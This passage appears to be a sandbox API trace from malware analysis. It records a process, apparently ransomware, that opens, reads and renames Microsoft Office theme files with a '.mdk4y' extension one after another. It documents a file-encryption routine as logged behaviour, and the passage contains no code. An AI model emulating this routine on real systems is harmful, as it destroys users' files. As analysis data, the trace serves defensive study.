lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825279200000) returned 1 [0177.563] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x354c6, lpOverlapped=0x0) returned 1 [0177.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825281300000) returned 1 [0177.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825281300000) returned 1 [0177.586] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.mdk4y")) returned 1 [0177.587] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.587] AreFileApisANSI () returned 1 [0177.587] GetACP () returned 0x4e4 [0177.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Apothecary.eftx", cchWideChar=15, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Apothecary.eftxQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x90$j", lpUsedDefaultChar=0x37df4c) returned 15 [0177.587] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825281800000) returned 1 [0177.588] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbf81, lpOverlapped=0x0) returned 1 [0177.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825283400000) returned 1 [0177.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825283400000) returned 1 [0177.605] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.mdk4y")) returned 1 [0177.607] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.607] AreFileApisANSI () returned 1 [0177.607] GetACP () returned 0x4e4 [0177.607] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Aspect.eftx", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Aspect.eftxeftx", lpUsedDefaultChar=0x37df4c) returned 11 [0177.607] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.608] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825283800000) returned 1 [0177.608] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x581a, lpOverlapped=0x0) returned 1 [0177.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825285300000) returned 1 [0177.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825285300000) returned 1 [0177.623] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.mdk4y")) returned 1 [0177.625] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.625] AreFileApisANSI () returned 1 [0177.625] GetACP () returned 0x4e4 [0177.625] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Austin.eftx", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Austin.eftx", lpUsedDefaultChar=0x37df4c) returned 11 [0177.625] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825285600000) returned 1 [0177.626] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x696d, lpOverlapped=0x0) returned 1 [0177.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825286200000) returned 1 [0177.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825286200000) returned 1 [0177.632] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.mdk4y")) returned 1 [0177.633] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.633] AreFileApisANSI () returned 1 [0177.633] GetACP () returned 0x4e4 [0177.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Black Tie.eftx", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Black Tie.eftxx", lpUsedDefaultChar=0x37df4c) returned 14 [0177.633] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825286400000) returned 1 [0177.634] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x96e87, lpOverlapped=0x0) returned 1 [0177.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825289500000) returned 1 [0177.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825289500000) returned 1 [0177.673] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.mdk4y")) returned 1 [0177.674] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.674] AreFileApisANSI () returned 1 [0177.674] GetACP () returned 0x4e4 [0177.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Civic.eftx", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Civic.eftxeftx", lpUsedDefaultChar=0x37df4c) returned 10 [0177.674] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825290500000) returned 1 [0177.675] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa7a5, lpOverlapped=0x0) returned 1 [0177.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825292400000) returned 1 [0177.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825292400000) returned 1 [0177.695] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.mdk4y")) returned 1 [0177.696] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.696] AreFileApisANSI () returned 1 [0177.696] GetACP () returned 0x4e4 [0177.696] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Clarity.eftx", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Clarity.eftxtx", lpUsedDefaultChar=0x37df4c) returned 12 [0177.697] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.697] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825292700000) returned 1 [0177.697] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8032, lpOverlapped=0x0) returned 1 [0177.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825292800000) returned 1 [0177.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825292900000) returned 1 [0177.699] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.mdk4y")) returned 1 [0177.701] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.701] AreFileApisANSI () returned 1 [0177.701] GetACP () returned 0x4e4 [0177.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Composite.eftx", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Composite.eftx", lpUsedDefaultChar=0x37df4c) returned 14 [0177.701] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825293200000) returned 1 [0177.702] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x825e4, lpOverlapped=0x0) returned 1 [0177.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825295300000) returned 1 [0177.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825295300000) returned 1 [0177.729] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.mdk4y")) returned 1 [0177.731] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.731] AreFileApisANSI () returned 1 [0177.731] GetACP () returned 0x4e4 [0177.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Concourse.eftx", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Concourse.eftx", lpUsedDefaultChar=0x37df4c) returned 14 [0177.731] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825296100000) returned 1 [0177.732] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5791, lpOverlapped=0x0) returned 1 [0177.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825298400000) returned 1 [0177.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825298400000) returned 1 [0177.755] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.mdk4y")) returned 1 [0177.756] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.756] AreFileApisANSI () returned 1 [0177.756] GetACP () returned 0x4e4 [0177.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Couture.eftx", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Couture.eftxtx", lpUsedDefaultChar=0x37df4c) returned 12 [0177.756] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825298700000) returned 1 [0177.757] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0177.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825306000000) returned 1 [0177.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825306000000) returned 1 [0177.860] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.mdk4y")) returned 1 [0177.861] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.861] AreFileApisANSI () returned 1 [0177.861] GetACP () returned 0x4e4 [0177.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Elemental.eftx", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Elemental.eftx", lpUsedDefaultChar=0x37df4c) returned 14 [0177.862] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825309200000) returned 1 [0177.862] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4caa1, lpOverlapped=0x0) returned 1 [0177.902] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825313200000) returned 1 [0177.902] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825313200000) returned 1 [0177.906] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.mdk4y")) returned 1 [0177.907] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.907] AreFileApisANSI () returned 1 [0177.907] GetACP () returned 0x4e4 [0177.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Equity.eftx", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Equity.eftxftx", lpUsedDefaultChar=0x37df4c) returned 11 [0177.907] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825313900000) returned 1 [0177.909] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6023, lpOverlapped=0x0) returned 1 [0177.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825318200000) returned 1 [0177.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825318200000) returned 1 [0177.952] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.mdk4y")) returned 1 [0177.954] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.954] AreFileApisANSI () returned 1 [0177.954] GetACP () returned 0x4e4 [0177.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Essential.eftx", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Essential.eftx", lpUsedDefaultChar=0x37df4c) returned 14 [0177.954] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825318400000) returned 1 [0177.954] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3fde, lpOverlapped=0x0) returned 1 [0177.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825320200000) returned 1 [0177.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825320200000) returned 1 [0177.973] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.mdk4y")) returned 1 [0177.974] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.974] AreFileApisANSI () returned 1 [0177.974] GetACP () returned 0x4e4 [0177.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Executive.eftx", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Executive.eftx", lpUsedDefaultChar=0x37df4c) returned 14 [0177.974] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825320500000) returned 1 [0177.975] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x52a4, lpOverlapped=0x0) returned 1 [0178.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825325700000) returned 1 [0178.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825325700000) returned 1 [0178.027] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.mdk4y")) returned 1 [0178.029] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.029] AreFileApisANSI () returned 1 [0178.029] GetACP () returned 0x4e4 [0178.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Flow.eftx", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Flow.eftx.eftx", lpUsedDefaultChar=0x37df4c) returned 9 [0178.029] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.029] QueryPerformanceCounter 